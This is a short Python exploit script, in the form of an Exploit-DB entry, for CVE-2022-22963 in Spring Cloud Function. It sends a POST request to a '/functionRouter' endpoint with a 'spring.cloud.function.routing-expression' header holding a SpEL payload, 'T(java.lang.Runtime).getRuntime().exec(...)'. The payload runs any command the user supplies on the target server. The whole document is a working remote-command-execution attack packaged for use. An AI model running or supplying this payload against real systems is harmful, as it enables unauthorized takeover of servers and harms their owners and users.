Spring Cloud 3.2.2 - Remote Command Execution (RCE)

# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
# Date: 07/07/2023
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://spring.io/projects/spring-cloud-function/
# Description: Exploit to execute commands exploiting CVE-2022-22963
# Software Link: https://spring.io/projects/spring-cloud-function
# CVE: CVE-2022-22963

import requests, argparse, json

parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, help="http://172.17.0.2:8080/functionRouter", required=True)
parser.add_argument("--command", type=str, help="ping -c1 172.17.0.1", required=True)
args = parser.parse_args()

print("\n\033[0;37m[\033[0;33m!\033[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking host\n")

headers = {"spring.cloud.function.routing-expression": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
data = {"data": ""}

request = requests.post(args.url, data=data, headers=headers)
response = json.dumps(json.loads(request.text), indent=2)
print(response)